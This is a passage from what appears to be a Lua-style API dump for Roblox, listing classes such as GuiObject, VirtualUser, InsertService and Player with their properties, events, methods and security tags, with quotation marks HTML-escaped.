 Type = &quot;Content&quot;
 },
 {
 Name = &quot;TextureSize&quot;,
 Type = &quot;Vector2&quot;
 },
 {
 Name = &quot;To&quot;,
 Type = &quot;Object&quot;
 },
 {
 Name = &quot;Velocity&quot;,
 Type = &quot;float&quot;
 },
 {
 Name = &quot;WireRadius&quot;,
 Type = &quot;float&quot;
 }
 },
 Methods = {
 }
 },
 GuiRoot = {
 Inherits = &quot;GuiItem&quot;,
 Events = {
 },
 ClassName = &quot;GuiRoot&quot;,
 Callbacks = {
 },
 Properties = {
 },
 notCreatable = true,
 Methods = {
 }
 },
 Controller = {
 Inherits = &quot;Instance&quot;,
 Events = {
 {
 Name = &quot;ButtonChanged&quot;,
 Arguments = {
 {
 Name = &quot;button&quot;,
 Type = &quot;Button&quot;
 }
 }
 }
 },
 ClassName = &quot;Controller&quot;,
 Callbacks = {
 },
 Properties = {
 },
 Methods = {
 {
 ReturnType = &quot;void&quot;,
 Arguments = {
 {
 Name = &quot;button&quot;,
 Type = &quot;Button&quot;
 },
 {
 Name = &quot;caption&quot;,
 Type = &quot;string&quot;
 }
 },
 Name = &quot;BindButton&quot;
 },
 {
 ReturnType = &quot;bool&quot;,
 Arguments = {
 {
 Name = &quot;button&quot;,
 Type = &quot;Button&quot;
 }
 },
 Name = &quot;GetButton&quot;
 },
 {
 ReturnType = &quot;void&quot;,
 Arguments = {
 {
 Name = &quot;button&quot;,
 Type = &quot;Button&quot;
 }
 },
 Name = &quot;UnbindButton&quot;
 },
 {
 ReturnType = &quot;void&quot;,
 Arguments = {
 {
 Name = &quot;button&quot;,
 Type = &quot;Button&quot;
 },
 {
 Name = &quot;caption&quot;,
 Type = &quot;string&quot;
 }
 },
 Name = &quot;bindButton&quot;,
 deprecated = true
 },
 {
 ReturnType = &quot;bool&quot;,
 Arguments = {
 {
 Name = &quot;button&quot;,
 Type = &quot;Button&quot;
 }
 },
 Name = &quot;getButton&quot;,
 deprecated = true
 }
 }
 },
 Motor = {
 Inherits = &quot;JointInstance&quot;,
 Events = {
 },
 ClassName = &quot;Motor&quot;,
 Callbacks = {
 },
 Properties = {
 {
 Name = &quot;CurrentAngle&quot;,
 Type = &quot;float&quot;
 },
 {
 Name = &quot;DesiredAngle&quot;,
 Type = &quot;float&quot;
 },
 {
 Name = &quot;MaxVelocity&quot;,
 Type = &quot;float&quot;
 }
 },
 Methods = {
 {
 ReturnType = &quot;void&quot;,
 Arguments = {
 {
 Name = &quot;value&quot;,
 Type = &quot;float&quot;
 }
 },
 Name = &quot;SetDesiredAngle&quot;
 }
 }
 },
 Glue = {
 Inherits = &quot;JointInstance&quot;,
 Events = {
 },
 ClassName = &quot;Glue&quot;,
 Callbacks = {
 },
 Properties = {
 {
 Name = &quot;F0&quot;,
 Type = &quot;Vector3&quot;
 },
 {
 Name = &quot;F1&quot;,
 Type = &quot;Vector3&quot;
 },
 {
 Name = &quot;F2&quot;,
 Type = &quot;Vector3&quot;
 },
 {
 Name = &quot;F3&quot;,
 Type = &quot;Vector3&quot;
 }
 },
 Methods = {
 }
 },
 LayerCollector = {
 Inherits = &quot;GuiBase2d&quot;,
 Events = {
 },
 ClassName = &quot;LayerCollector&quot;,
 Callbacks = {
 },
 Properties = {
 },
 Methods = {
 }
 },
 GlobalSettings = {
 Inherits = &quot;GenericSettings&quot;,
 Events = {
 },
 ClassName = &quot;GlobalSettings&quot;,
 Callbacks = {
 },
 Properties = {
 },
 notbrowsable = true,
 Methods = {
 {
 ReturnType = &quot;bool&quot;,
 Arguments = {
 {
 Name = &quot;name&quot;,
 Type = &quot;string&quot;
 }
 },
 Name = &quot;GetFFlag&quot;
 },
 {
 ReturnType = &quot;string&quot;,
 Arguments = {
 {
 Name = &quot;name&quot;,
 Type = &quot;string&quot;
 }
 },
 Name = &quot;GetFVariable&quot;
 },
 {
 ReturnType = &quot;Dictionary&quot;,
 Arguments = {
 },
 Name = &quot;GetFVariables&quot;,
 RobloxScriptSecurity = true
 }
 }
 },
 Geometry = {
 Inherits = &quot;Instance&quot;,
 Events = {
 },
 ClassName = &quot;Geometry&quot;,
 Callbacks = {
 },
 Properties = {
 },
 Methods = {
 }
 },
 ManualWeld = {
 Inherits = &quot;ManualSurfaceJointInstance&quot;,
 Events = {
 },
 ClassName = &quot;ManualWeld&quot;,
 Callbacks = {
 },
 Properties = {
 },
 Methods = {
 }
 },
 GuiObject = {
 Inherits = &quot;GuiBase2d&quot;,
 Events = {
 {
 Name = &quot;DragBegin&quot;,
 Arguments = {
 {
 Name = &quot;initialPosition&quot;,
 Type = &quot;UDim2&quot;
 }
 }
 },
 {
 Name = &quot;DragStopped&quot;,
 Arguments = {
 {
 Name = &quot;x&quot;,
 Type = &quot;int&quot;
 },
 {
 Name = &quot;y&quot;,
 Type = &quot;int&quot;
 }
 }
 },
 {
 Name = &quot;MouseEnter&quot;,
 Arguments = {
 {
 Name = &quot;x&quot;,
 Type = &quot;int&quot;
 },
 {
 Name = &quot;y&quot;,
 Type = &quot;int&quot;
 }
 }
 },
 {
 Name = &quot;MouseLeave&quot;,
 Arguments = {
 {
 Name = &quot;x&quot;,
 Type = &quot;int&quot;
 },
 {
 Name = &quot;y&quot;,
 Type = &quot;int&quot;
 }
 }
 },
 {
 Name = &quot;MouseMoved&quot;,
 Arguments = {
 {
 Name = &quot;x&quot;,
 Type = &quot;int&quot;
 },
 {
 Name = &quot;y&quot;,
 Type = &quot;int&quot;
 }
 }
 },
 {
 Name = &quot;MouseWheelBackward&quot;,
 Arguments = {
 {
 Name = &quot;x&quot;,
 Type = &quot;int&quot;
 },
 {
 Name = &quot;y&quot;,
 Type = &quot;int&quot;
 }
 }
 },
 {
 Name = &quot;MouseWheelForward&quot;,
 Arguments = {
 {
 Name = &quot;x&quot;,
 Type = &quot;int&quot;
 },
 {
 Name = &quot;y&quot;,
 Type = &quot;int&quot;
 }
 }
 }
 },
 ClassName = &quot;GuiObject&quot;,
 Callbacks = {
 },
 Properties = {
 {
 Name = &quot;Active&quot;,
 Type = &quot;bool&quot;
 },
 {
 deprecated = true,
 Type = &quot;BrickColor&quot;,
 Name = &quot;BackgroundColor&quot;,
 hidden = true
 },
 {
 Name = &quot;BackgroundColor3&quot;,
 Type = &quot;Color3&quot;
 },
 {
 Name = &quot;BackgroundTransparency&quot;,
 Type = &quot;float&quot;
 },
 {
 deprecated = true,
 Type = &quot;BrickColor&quot;,
 Name = &quot;BorderColor&quot;,
 hidden = true
 },
 {
 Name = &quot;BorderColor3&quot;,
 Type = &quot;Color3&quot;
 },
 {
 Name = &quot;BorderSizePixel&quot;,
 Type = &quot;int&quot;
 },
 {
 Name = &quot;ClipsDescendants&quot;,
 Type = &quot;bool&quot;
 },
 {
 Name = &quot;Draggable&quot;,
 Type = &quot;bool&quot;
 },
 {
 Name = &quot;Position&quot;,
 Type = &quot;UDim2&quot;
 },
 {
 Name = &quot;Size&quot;,
 Type = &quot;UDim2&quot;
 },
 {
 Name = &quot;SizeConstraint&quot;,
 Type = &quot;SizeConstraint&quot;
 },
 {
 Type = &quot;float&quot;,
 Name = &quot;Transparency&quot;,
 hidden = true
 },
 {
 Name = &quot;Visible&quot;,
 Type = &quot;bool&quot;
 },
 {
 Name = &quot;ZIndex&quot;,
 Type = &quot;int&quot;
 }
 },
 notbrowsable = true,
 Methods = {
 {
 ReturnType = &quot;bool&quot;,
 Arguments = {
 {
 Name = &quot;endPosition&quot;,
 Type = &quot;UDim2&quot;
 },
 {
 Type = &quot;EasingDirection&quot;,
 Name = &quot;easingDirection&quot;,
 DefaultValue = &quot;Out&quot;
 },
 {
 Type = &quot;EasingStyle&quot;,
 Name = &quot;easingStyle&quot;,
 DefaultValue = &quot;Quad&quot;
 },
 {
 Type = &quot;float&quot;,
 Name = &quot;time&quot;,
 DefaultValue = &quot;1&quot;
 },
 {
 Type = &quot;bool&quot;,
 Name = &quot;override&quot;,
 DefaultValue = &quot;false&quot;
 },
 {
 Type = &quot;Function&quot;,
 Name = &quot;callback&quot;,
 DefaultValue = &quot;nil&quot;
 }
 },
 Name = &quot;TweenPosition&quot;
 },
 {
 ReturnType = &quot;bool&quot;,
 Arguments = {
 {
 Name = &quot;endSize&quot;,
 Type = &quot;UDim2&quot;
 },
 {
 Type = &quot;EasingDirection&quot;,
 Name = &quot;easingDirection&quot;,
 DefaultValue = &quot;Out&quot;
 },
 {
 Type = &quot;EasingStyle&quot;,
 Name = &quot;easingStyle&quot;,
 DefaultValue = &quot;Quad&quot;
 },
 {
 Type = &quot;float&quot;,
 Name = &quot;time&quot;,
 DefaultValue = &quot;1&quot;
 },
 {
 Type = &quot;bool&quot;,
 Name = &quot;override&quot;,
 DefaultValue = &quot;false&quot;
 },
 {
 Type = &quot;Function&quot;,
 Name = &quot;callback&quot;,
 DefaultValue = &quot;nil&quot;
 }
 },
 Name = &quot;TweenSize&quot;
 },
 {
 ReturnType = &quot;bool&quot;,
 Arguments = {
 {
 Name = &quot;endSize&quot;,
 Type = &quot;UDim2&quot;
 },
 {
 Name = &quot;endPosition&quot;,
 Type = &quot;UDim2&quot;
 },
 {
 Type = &quot;EasingDirection&quot;,
 Name = &quot;easingDirection&quot;,
 DefaultValue = &quot;Out&quot;
 },
 {
 Type = &quot;EasingStyle&quot;,
 Name = &quot;easingStyle&quot;,
 DefaultValue = &quot;Quad&quot;
 },
 {
 Type = &quot;float&quot;,
 Name = &quot;time&quot;,
 DefaultValue = &quot;1&quot;
 },
 {
 Type = &quot;bool&quot;,
 Name = &quot;override&quot;,
 DefaultValue = &quot;false&quot;
 },
 {
 Type = &quot;Function&quot;,
 Name = &quot;callback&quot;,
 DefaultValue = &quot;nil&quot;
 }
 },
 Name = &quot;TweenSizeAndPosition&quot;
 }
 }
 },
 DebuggerBreakpoint = {
 Inherits = &quot;Instance&quot;,
 Events = {
 },
 ClassName = &quot;DebuggerBreakpoint&quot;,
 Callbacks = {
 },
 Properties = {
 {
 Name = &quot;Condition&quot;,
 Type = &quot;string&quot;
 },
 {
 Name = &quot;IsEnabled&quot;,
 Type = &quot;bool&quot;
 },
 {
 Type = &quot;int&quot;,
 Name = &quot;Line&quot;,
 readonly = true
 }
 },
 notCreatable = true,
 Methods = {
 }
 },
 FWService = {
 Inherits = &quot;Instance&quot;,
 Events = {
 },
 ClassName = &quot;FWService&quot;,
 Callbacks = {
 },
 Properties = {
 },
 Methods = {
 }
 },
 Pose = {
 Inherits = &quot;Instance&quot;,
 Events = {
 },
 ClassName = &quot;Pose&quot;,
 Callbacks = {
 },
 Properties = {
 {
 Name = &quot;CFrame&quot;,
 Type = &quot;CoordinateFrame&quot;
 },
 {
 Name = &quot;MaskWeight&quot;,
 Type = &quot;float&quot;
 },
 {
 Name = &quot;Weight&quot;,
 Type = &quot;float&quot;
 }
 },
 Methods = {
 {
 ReturnType = &quot;void&quot;,
 Arguments = {
 {
 Name = &quot;pose&quot;,
 Type = &quot;Instance&quot;
 }
 },
 Name = &quot;AddSubPose&quot;
 },
 {
 ReturnType = &quot;Objects&quot;,
 Arguments = {
 },
 Name = &quot;GetSubPoses&quot;
 },
 {
 ReturnType = &quot;void&quot;,
 Arguments = {
 {
 Name = &quot;pose&quot;,
 Type = &quot;Instance&quot;
 }
 },
 Name = &quot;RemoveSubPose&quot;
 }
 }
 },
 PlayerMouse = {
 Inherits = &quot;Mouse&quot;,
 Events = {
 },
 ClassName = &quot;PlayerMouse&quot;,
 Callbacks = {
 },
 Properties = {
 },
 Methods = {
 }
 },
 Hat = {
 Inherits = &quot;Accoutrement&quot;,
 Events = {
 },
 ClassName = &quot;Hat&quot;,
 Callbacks = {
 },
 Properties = {
 },
 Methods = {
 }
 },
 VirtualUser = {
 Inherits = &quot;Instance&quot;,
 Events = {
 },
 ClassName = &quot;VirtualUser&quot;,
 Callbacks = {
 },
 Properties = {
 },
 Methods = {
 {
 ReturnType = &quot;void&quot;,
 Arguments = {
 {
 Name = &quot;position&quot;,
 Type = &quot;Vector2&quot;
 },
 {
 Type = &quot;CoordinateFrame&quot;,
 Name = &quot;camera&quot;,
 DefaultValue = &quot;Identity&quot;
 }
 },
 Name = &quot;Button1Down&quot;,
 LocalUserSecurity = true
 },
 {
 ReturnType = &quot;void&quot;,
 Arguments = {
 {
 Name = &quot;position&quot;,
 Type = &quot;Vector2&quot;
 },
 {
 Type = &quot;CoordinateFrame&quot;,
 Name = &quot;camera&quot;,
 DefaultValue = &quot;Identity&quot;
 }
 },
 Name = &quot;Button1Up&quot;,
 LocalUserSecurity = true
 },
 {
 ReturnType = &quot;void&quot;,
 Arguments = {
 {
 Name = &quot;position&quot;,
 Type = &quot;Vector2&quot;
 },
 {
 Type = &quot;CoordinateFrame&quot;,
 Name = &quot;camera&quot;,
 DefaultValue = &quot;Identity&quot;
 }
 },
 Name = &quot;Button2Down&quot;,
 LocalUserSecurity = true
 },
 {
 ReturnType = &quot;void&quot;,
 Arguments = {
 {
 Name = &quot;position&quot;,
 Type = &quot;Vector2&quot;
 },
 {
 Type = &quot;CoordinateFrame&quot;,
 Name = &quot;camera&quot;,
 DefaultValue = &quot;Identity&quot;
 }
 },
 Name = &quot;Button2Up&quot;,
 LocalUserSecurity = true
 },
 {
 ReturnType = &quot;void&quot;,
 Arguments = {
 },
 Name = &quot;CaptureController&quot;,
 LocalUserSecurity = true
 },
 {
 ReturnType = &quot;void&quot;,
 Arguments = {
 {
 Name = &quot;position&quot;,
 Type = &quot;Vector2&quot;
 },
 {
 Type = &quot;CoordinateFrame&quot;,
 Name = &quot;camera&quot;,
 DefaultValue = &quot;Identity&quot;
 }
 },
 Name = &quot;ClickButton1&quot;,
 LocalUserSecurity = true
 },
 {
 ReturnType = &quot;void&quot;,
 Arguments = {
 {
 Name = &quot;position&quot;,
 Type = &quot;Vector2&quot;
 },
 {
 Type = &quot;CoordinateFrame&quot;,
 Name = &quot;camera&quot;,
 DefaultValue = &quot;Identity&quot;
 }
 },
 Name = &quot;ClickButton2&quot;,
 LocalUserSecurity = true
 },
 {
 ReturnType = &quot;void&quot;,
 Arguments = {
 {
 Name = &quot;position&quot;,
 Type = &quot;Vector2&quot;
 },
 {
 Type = &quot;CoordinateFrame&quot;,
 Name = &quot;camera&quot;,
 DefaultValue = &quot;Identity&quot;
 }
 },
 Name = &quot;MoveMouse&quot;,
 LocalUserSecurity = true
 },
 {
 ReturnType = &quot;void&quot;,
 Arguments = {
 {
 Name = &quot;key&quot;,
 Type = &quot;string&quot;
 }
 },
 Name = &quot;SetKeyDown&quot;,
 LocalUserSecurity = true
 },
 {
 ReturnType = &quot;void&quot;,
 Arguments = {
 {
 Name = &quot;key&quot;,
 Type = &quot;string&quot;
 }
 },
 Name = &quot;SetKeyUp&quot;,
 LocalUserSecurity = true
 },
 {
 ReturnType = &quot;void&quot;,
 Arguments = {
 },
 Name = &quot;StartRecording&quot;,
 LocalUserSecurity = true
 },
 {
 ReturnType = &quot;string&quot;,
 Arguments = {
 },
 Name = &quot;StopRecording&quot;,
 LocalUserSecurity = true
 },
 {
 ReturnType = &quot;void&quot;,
 Arguments = {
 {
 Name = &quot;key&quot;,
 Type = &quot;string&quot;
 }
 },
 Name = &quot;TypeKey&quot;,
 LocalUserSecurity = true
 }
 }
 },
 InsertService = {
 Inherits = &quot;Instance&quot;,
 Events = {
 },
 ClassName = &quot;InsertService&quot;,
 Callbacks = {
 },
 Properties = {
 },
 notCreatable = true,
 Methods = {
 {
 ReturnType = &quot;void&quot;,
 Arguments = {
 {
 Name = &quot;assetId&quot;,
 Type = &quot;int&quot;
 }
 },
 Name = &quot;ApproveAssetId&quot;,
 deprecated = true
 },
 {
 ReturnType = &quot;void&quot;,
 Arguments = {
 {
 Name = &quot;assetVersionId&quot;,
 Type = &quot;int&quot;
 }
 },
 Name = &quot;ApproveAssetVersionId&quot;,
 deprecated = true
 },
 {
 ReturnType = &quot;void&quot;,
 Arguments = {
 {
 Name = &quot;instance&quot;,
 Type = &quot;Instance&quot;
 }
 },
 Name = &quot;Insert&quot;
 },
 {
 ReturnType = &quot;void&quot;,
 Arguments = {
 {
 Name = &quot;enable&quot;,
 Type = &quot;bool&quot;
 },
 {
 Type = &quot;bool&quot;,
 Name = &quot;user&quot;,
 DefaultValue = &quot;false&quot;
 }
 },
 Name = &quot;SetAdvancedResults&quot;,
 LocalUserSecurity = true
 },
 {
 ReturnType = &quot;void&quot;,
 Arguments = {
 {
 Name = &quot;assetUrl&quot;,
 Type = &quot;string&quot;
 }
 },
 Name = &quot;SetAssetUrl&quot;,
 LocalUserSecurity = true
 },
 {
 ReturnType = &quot;void&quot;,
 Arguments = {
 {
 Name = &quot;assetVersionUrl&quot;,
 Type = &quot;string&quot;
 }
 },
 Name = &quot;SetAssetVersionUrl&quot;,
 LocalUserSecurity = true
 },
 {
 ReturnType = &quot;void&quot;,
 Arguments = {
 {
 Name = &quot;baseSetsUrl&quot;,
 Type = &quot;string&quot;
 }
 },
 Name = &quot;SetBaseCategoryUrl&quot;,
 LocalUserSecurity = true
 },
 {
 ReturnType = &quot;void&quot;,
 Arguments = {
 {
 Name = &quot;baseSetsUrl&quot;,
 Type = &quot;string&quot;
 }
 },
 Name = &quot;SetBaseSetsUrl&quot;,
 LocalUserSecurity = true
 },
 {
 ReturnType = &quot;void&quot;,
 Arguments = {
 {
 Name = &quot;collectionUrl&quot;,
 Type = &quot;string&quot;
 }
 },
 Name = &quot;SetCollectionUrl&quot;,
 LocalUserSecurity = true
 },
 {
 ReturnType = &quot;void&quot;,
 Arguments = {
 {
 Name = &quot;freeDecalUrl&quot;,
 Type = &quot;string&quot;
 }
 },
 Name = &quot;SetFreeDecalUrl&quot;,
 LocalUserSecurity = true
 },
 {
 ReturnType = &quot;void&quot;,
 Arguments = {
 {
 Name = &quot;freeModelUrl&quot;,
 Type = &quot;string&quot;
 }
 },
 Name = &quot;SetFreeModelUrl&quot;,
 LocalUserSecurity = true
 },
 {
 ReturnType = &quot;void&quot;,
 Arguments = {
 {
 Name = &quot;trustLevel&quot;,
 Type = &quot;float&quot;
 }
 },
 Name = &quot;SetTrustLevel&quot;,
 LocalUserSecurity = true
 },
 {
 ReturnType = &quot;void&quot;,
 Arguments = {
 {
 Name = &quot;userSetsUrl&quot;,
 Type = &quot;string&quot;
 }
 },
 Name = &quot;SetUserCategoryUrl&quot;,
 LocalUserSecurity = true
 },
 {
 ReturnType = &quot;void&quot;,
 Arguments = {
 {
 Name = &quot;userSetsUrl&quot;,
 Type = &quot;string&quot;
 }
 },
 Name = &quot;SetUserSetsUrl&quot;,
 LocalUserSecurity = true
 },
 {
 ReturnType = &quot;Array&quot;,
 Arguments = {
 },
 Name = &quot;GetBaseCategories&quot;,
 deprecated = true
 },
 {
 ReturnType = &quot;Array&quot;,
 Arguments = {
 },
 Name = &quot;GetBaseSets&quot;
 },
 {
 ReturnType = &quot;Array&quot;,
 Arguments = {
 {
 Name = &quot;categoryId&quot;,
 Type = &quot;int&quot;
 }
 },
 Name = &quot;GetCollection&quot;
 },
 {
 ReturnType = &quot;Array&quot;,
 Arguments = {
 {
 Name = &quot;searchText&quot;,
 Type = &quot;string&quot;
 },
 {
 Name = &quot;pageNum&quot;,
 Type = &quot;int&quot;
 }
 },
 Name = &quot;GetFreeDecals&quot;
 },
 {
 ReturnType = &quot;Array&quot;,
 Arguments = {
 {
 Name = &quot;searchText&quot;,
 Type = &quot;string&quot;
 },
 {
 Name = &quot;pageNum&quot;,
 Type = &quot;int&quot;
 }
 },
 Name = &quot;GetFreeModels&quot;
 },
 {
 ReturnType = &quot;Array&quot;,
 Arguments = {
 {
 Name = &quot;userId&quot;,
 Type = &quot;int&quot;
 }
 },
 Name = &quot;GetUserCategories&quot;,
 deprecated = true
 },
 {
 ReturnType = &quot;Array&quot;,
 Arguments = {
 {
 Name = &quot;userId&quot;,
 Type = &quot;int&quot;
 }
 },
 Name = &quot;GetUserSets&quot;
 },
 {
 ReturnType = &quot;Instance&quot;,
 Arguments = {
 {
 Name = &quot;assetId&quot;,
 Type = &quot;int&quot;
 }
 },
 Name = &quot;LoadAsset&quot;
 },
 {
 ReturnType = &quot;Instance&quot;,
 Arguments = {
 {
 Name = &quot;assetVersionId&quot;,
 Type = &quot;int&quot;
 }
 },
 Name = &quot;LoadAssetVersion&quot;
 },
 {
 ReturnType = &quot;Instance&quot;,
 Arguments = {
 {
 Name = &quot;assetId&quot;,
 Type = &quot;int&quot;
 }
 },
 Name = &quot;loadAsset&quot;,
 deprecated = true
 }
 }
 },
 Message = {
 Inherits = &quot;Instance&quot;,
 Events = {
 },
 ClassName = &quot;Message&quot;,
 Callbacks = {
 },
 Properties = {
 {
 Name = &quot;Text&quot;,
 Type = &quot;string&quot;
 }
 },
 Methods = {
 }
 },
 Player = {
 Inherits = &quot;Instance&quot;,
 Events = {
 {
 Name = &quot;CharacterAdded&quot;,
 Arguments = {
 {
 Name = &quot;character&quot;,
 Type = &quot;Instance&quot;
 }
 }
 },
 {
 Name = &quot;CharacterRemoving&quot;,
 Arguments = {
 {
 Name = &quot;character&quot;,
 Type = &quot;Instance&quot;
 }
 }
 },
 {
 Name = &quot;Chatted&quot;,
 Arguments = {
 {
 Name = &quot;message&quot;,
 Type = &quot;string&quot;
 },
 {
 Name = &quot;recipient&quot;,
 Type = &quot;Instance&quot;
 }
 }
 },
 {
 Arguments = {
 {
 Name = &quot;player&quot;,
 Type = &quot;Instance&quot;
 },
 {
 Name = &quot;friendStatus&quot;,
 Type = &quot;FriendStatus&quot;
 }
 },
 Name = &quot;FriendStatusChanged&quot;,
 RobloxScriptSecurity = true
 },
 {
 Name = &quot;Idled&quot;,
 Arguments = {
 {
 Name = &quot;time&quot;,
 Type = &quot;double&quot;
 }
 }
 }
 },
 ClassName = &quot;Player&quot;,
 Callbacks = {
 },
 Properties = {
 {
 Type = &quot;int&quot;,
 Name = &quot;AccountAge&quot;,
 readonly = true
 },
 {
 RobloxScriptSecurity = true,
 Type = &quot;bool&quot;,
 Name = &quot;AppearanceDidLoad&quot;,
 readonly = true
 },
 {
 Name = &quot;CameraMode&quot;,
 Type = &quot;CameraMode&quot;
 },
 {
 Name = &quot;CanLoadCharacterAppearance&quot;,
 Type = &quot;bool&quot;
 },
 {
 Name = &quot;Character&quot;,
 Type = &quot;Object&quot;
 },
 {
 notbrowsable = true,
 Type = &quot;string&quot;,
 Name = &quot;CharacterAppearance&quot;
 },
 {
 RobloxScriptSecurity = true,
 Type = &quot;ChatMode&quot;,
 Name = &quot;ChatMode&quot;,
 readonly = true
 },
 {
 Type = &quot;int&quot;,
 Name = &quot;DataComplexity&quot;,
 readonly = true
 },
 {
 Type = &quot;int&quot;,
 Name = &quot;DataComplexityLimit&quot;,
 LocalUserSecurity = true
 },
 {
 Type = &quot;bool&quot;,
 Name = &quot;DataReady&quot;,
 readonly = true
 },
 {
 RobloxScriptSecurity = true,
 Type = &quot;bool&quot;,
 Name = &quot;Guest&quot;,
 readonly = true
 },
 {
 Type = &quot;bool&quot;,
 Name = &quot;HasBuildTools&quot;,
 RobloxScriptSecurity = true
 },
 {
 Type = &quot;float&quot;,
 Name = &quot;MaxSimulationRadius&quot;,
 LocalUserSecurity = true
 },
 {
 Type = &quot;MembershipType&quot;,
 Name = &quot;MembershipType&quot;,
 readonly = true
 },
 {
 Name = &quot;Neutral&quot;,
 Type = &quot;bool&quot;
 },
 {
 Type = &quot;int&quot;,
 Name = &quot;PersonalServerRank&quot;,
 RobloxScriptSecurity = true
 },
 {
 Type = &quot;float&quot;,
 Name = &quot;SimulationRadius&quot;,
 LocalUserSecurity = true
 },
 {
 Name = &quot;TeamColor&quot;,
 Type = &quot;BrickColor&quot;
 },
 {
 Name = &quot;userId&quot;,
 Type = &quot;int&quot;
 }
 },
 Methods = {
 {
 ReturnType = &quot;void&quot;,
 Arguments = {
 },
 Name = &quot;ClearCharacterAppearance&quot;
 },
 {
 ReturnType = &quot;float&quot;,
 Arguments = {
 {
 Name = &quot;point&quot;,
 Type = &quot;Vector3&quot;
 }
 },
 Name = &quot;DistanceFromCharacter&quot;
 },
 {
 ReturnType = &quot;FriendStatus&quot;,
 Arguments = {
 {
 Name = &quot;player&quot;,
 Type = &quot;Instance&quot;
 }
 },
 Name = &quot;GetFriendStatus&quot;,
 RobloxScriptSecurity = true
 },
 {
 ReturnType = &quot;Instance&quot;,
 Arguments = {
 },
 Name = &quot;GetMouse&quot;
 },
 {
 ReturnType = &quot;bool&quot;,
 Arguments = {
 },
 Name = &quot;GetUnder13&quot;,
 RobloxScriptSecurity = true
 },
 {
 ReturnType = &quot;bool&quot;,
 Arguments = {
 {
 Name = &quot;key&quot;,
 Type = &quot;string&quot;
 }
 },
 Name = &quot;LoadBoolean&quot;
 },
 {
 ReturnType = &quot;void&quot;,
 Arguments = {
 {
 Type = &quot;bool&quot;,
 Name = &quot;inGame&quot;,
 DefaultValue = &quot;true&quot;
 }
 },
 Name = &quot;LoadCharacter&quot;
 },
 {
 ReturnType = &quot;void&quot;,
 Arguments = {
 {
 Name = &quot;assetInstance&quot;,
 Type = &quot;Instance&quot;
 }
 },
 Name = &quot;LoadCharacterAppearance&quot;
 },
 {
 ReturnType = &quot;void&quot;,
 Arguments = {
 },
 Name = &quot;LoadData&quot;,
 LocalUserSecurity = true
 },
 {
 ReturnType = &quot;Instance&quot;,
 Arguments = {
 {
 Name = &quot;key&quot;,
 Type = &quot;string&quot;
 }
 },
 Name = &quot;LoadInstance&quot;
 },
 {
 ReturnType = &quot;double&quot;,
 Arguments = {
 {
 Name = &quot;key&quot;,
 Type = &quot;string&quot;
 }
 },
 Name = &quot;LoadNumber&quot;
 },
 {
 ReturnType = &quot;string&quot;,
 Arguments = {
 {
 Name = &quot;key&quot;,
 Type = &quot;string&quot;
 }
 },
 Name = &quot;LoadString&quot;
 },
 {
 ReturnType = &quot;void&quot;,
 Arguments = {
 },
 Name = &quot;RemoveCharacter&quot;,
 LocalUserSecurity = true
 },
 {
 ReturnType = &quot;void&quot;,
 Arguments = {
 {
 Name = &quot;player&quot;,
 Type = &quot;Instance&quot;
 }
 },
 Name = &quot;RequestFriendship&quot;,
 RobloxScriptSecurity = true
 },
 {
 ReturnType = &quot;void&quot;,
 Arguments = {
 {
 Name = &quot;player&quot;,
 Type = &quot;Instance&quot;
 }
 },
 Name = &quot;RevokeFriendship&quot;,
 RobloxScriptSecurity = true
 },
 {
 ReturnType = &quot;void&quot;,
 Arguments = {
 {
 Name = &quot;key&quot;,
 Type = &quot;string&quot;
 },
 {
 Name = &quot;value&quot;,
 Type = &quot;bool&quot;
 }
 },
 Name = &quot;SaveBoolean&quot;
 },
 {
 ReturnType = &quot;void&quot;,
 Arguments = {
 },
 Name = &quot;SaveData&quot;,
 LocalUserSecurity = true
 },
 {
 ReturnType = &quot;void&quot;,
 Arguments = {
 {
 Name = &quot;key&quot;,
 Type = &quot;string&quot;
 },
 {
 Name = &quot;value&quot;,
 Type = &quot;Instance&quot;
 }
 },
 Name = &quot;SaveInstance&quot;
 },
 {
 ReturnType = &quot;void&quot;,
 Arguments = {
 },
 Name = &quot;SaveLeaderboardData&quot;,
 LocalUserSecurity = true
 },
 {
 ReturnType = &quot;void&quot;,
 Arguments = {
 {
 Name = &quot;key&quot;,
 Type = &quot;string&quot;
 },
 {
 Name = &quot;value&quot;,
 Type = &quot;double&quot;
 }
 },
 Name = &quot;SaveNumber&quot;
 },
 {
 ReturnType = &quot;void&quot;,
 Arguments = {
 {
 Name = &quot;key&quot;,
 Type = &quot;string&quot;
 },
 {
 Name = &quot;value&quot;,
 Type = &quot;string&quot;
 }
 },
 Name = &quot;SaveString&quot;
 },
 {
 ReturnType = &quot;void&quot;,
 Arguments = {
 {
 Name = &quot;accountAge&quot;,
 Type = &quot;int&quot;
 }
 },
 Name = &quot;SetAccountAge&quot;,
 LocalUserSecurity = true
 },
 {
 ReturnType = &quot;void&quot;,
 Arguments = {
 {
 Name = &quot;membershipType&quot;,
 Type = &quot;MembershipType&quot;
 }
 },
 Name = &quot;SetMembershipType&quot;,
 RobloxScriptSecurity = true
 },
 {
 ReturnType = &quot;void&quot;,
 Arguments = {
 {
 Name = &quot;value&quot;,
 Type = &quot;bool&quot;
 }
 },
 Name = &quot;SetSuperSafeChat&quot;,
 LocalUserSecurity = true
 },
 {
 ReturnType = &quot;void&quot;,
 Arguments = {
 {
 Name = &quot;value&quot;,
 Type = &quot;bool&quot;
 }
 },
 Name = &quot;SetUnder13&quot;,
 deprecated = true,
 RobloxSecurity = true
 },
 {
 ReturnType = &quot;bool&quot;,
 Arguments = {
 {
 Name = &quot;key&quot;,
 Type = &quot;string&quot;
 }
 },
 Name = &quot;loadBoolean&quot;,
 deprecated = true
 },
 {
 ReturnType = &quot;Instance&quot;,
 Arguments = {
 {
 Name = &quot;key&quot;,
 Type = &quot;string&quot;
 }
 },
 Name = &quot;loadInstance&quot;,
 deprecated = true
 },
 {
 ReturnType = &quot;double&quot;,
 Arguments = {
 {
 Name = &quot;key&quot;,
 Type = &quot;string&quot;
 }
 },
 Name = &quot;loadNumber&quot;,
 deprecated = true
 },
 {
 ReturnType = &quot;string&quot;,
 Arguments = {
 {
 Name = &quot;key&quot;,
 Type = &quot;string&quot;
 }
 },
 Name = &quot;loadString&quot;,
 deprecated = true
 },
 {
 ReturnType = &quot;void&quot;,
 Arguments = {
 {
 Name = &quot;key&quot;,
 Type = &quot;string&quot;
 },
 {
 Name = &quot;value&quot;,
 Type = &quot;bool&quot;
 }
 },
 Name = &quot;saveBoolean&quot;,
 deprecated = true
 },
 {
 ReturnType = &quot;void&quot;,
 Arguments = {
 {
 Name = &quot;key&quot;,
 Type = &quot;string&quot;
 },
 {
 Name = &quot;value&quot;,
 Type = &quot;Instance&quot;
 }
 },
